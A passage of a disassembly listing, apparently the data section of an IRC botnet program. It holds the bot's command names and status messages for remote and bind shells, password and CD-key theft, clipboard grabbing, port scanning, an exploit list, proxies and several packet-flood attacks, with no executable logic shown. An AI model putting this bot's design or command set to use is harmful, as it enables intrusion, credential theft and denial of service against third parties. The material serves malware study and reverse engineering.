db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h dword_42B9D0 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42B9E8 db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BA24 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42BA44 dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42BA48 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42BA60 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42BA98 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 2E676Fh dword_42BAB0 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42BACC dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42BAE8 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42BB04 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_42BB40 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42BB64 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42BB84 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42BBA4 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42BBBC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BBDC db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BC04 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 10h dword_42BC30 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42BC4C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42BC64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 10h unk_42BC90 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42BCB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 10h unk_42BCE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42BD0C db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 10h unk_42BD30 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42BD6C db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42BDA8 db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BDE4 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42BE20 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BE5C db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 10h unk_42BE90 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 10h unk_42BEB0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42BEE8 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42BF24 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42BFA4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42BFE4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C020 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 4 aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE7o ; sub_401ACD+4FA1o dword_42C090 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 10h aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 10h aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 10h aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C138 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 4 unk_42C16C db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C1A0 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C1B4 dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C1B8 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C1C4 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 10h aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 4 aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 10h aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 10h aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o ; ___:00437F84o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C284 db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42C2AC db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 4 aS_0: ; DATA XREF: sub_401ACD+1662o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 4 aQ: ; DATA XREF: sub_401ACD+1638o ; ___:off_437BF0o unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 10h dword_42C370 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 10h dword_42C390 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42C3B4 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 10h aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42C404 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 10h aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 10h aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42C44C db 2Dh ; - ; DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C480 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42C490 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42C4A0 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42C4B0 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42C4C0 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42C4CC dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42C4D8 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42C4E4 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 4 dword_42C4FC dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42C508 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 10h dword_42C520 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42C530 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 4 dword_42C54C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42C55C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 4 dword_42C578 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42C584 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42C598 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42C5A4 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42C5B0 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42C5BC dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42C5CC dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 4 dword_42C5EC dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42C5F8 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42C60C dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 4 dword_42C628 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42C644 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 10h aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 4 dword_42C66C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 10h aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 4 aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 4 aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 4 aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 10h aD: ; DATA XREF: sub_401ACD+EF9o ; ___:00437C1Co ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 4 asc_42C718: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 10h aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 4 aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42C75C db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 10h unk_42C790 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 10h unk_42C7C0 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 10h unk_42C820 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42C864 db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 10h dword_42C8A0 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42C8B8 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42C8C0 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42C8DC dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42C8E8 dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42C8EC db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 10h aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 4 dword_42C928 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42C930 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42C944 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_42C968 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42C9BC db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 10h a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 10h aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 4 asc_42CA28: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42CA2C: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42CA30 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 